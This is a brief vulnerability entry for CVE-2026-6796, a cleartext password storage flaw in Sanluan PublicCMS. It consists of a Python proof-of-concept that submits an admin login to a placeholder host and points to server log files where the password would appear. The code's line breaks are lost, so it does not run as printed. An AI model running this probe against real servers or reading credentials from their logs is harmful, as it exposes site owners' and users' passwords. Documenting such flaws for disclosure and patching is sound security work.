CVE-2026-6796 Sanluan PublicCMS明文存储漏洞

import requests # PoC for CVE-2026-6796: PublicCMS Cleartext Password Storage # Target: Sanluan PublicCMS <= 6.202506.d target_url = "http://target-host:port/admin/login" # The payload simulates a failed login attempt # The 'password' field will be stored in cleartext in logs if vulnerable login_data = { "username": "admin", "password": "ClearTextPassword123!" } try: response = requests.post(target_url, data=login_data) print(f"Status Code: {response.status_code}") print("If the application is vulnerable, 'ClearTextPassword123!' is now stored in cleartext in the server logs.") print("Check log files such as: logs/cms.log or similar paths.") except Exception as e: print(f"Error occurred: {e}")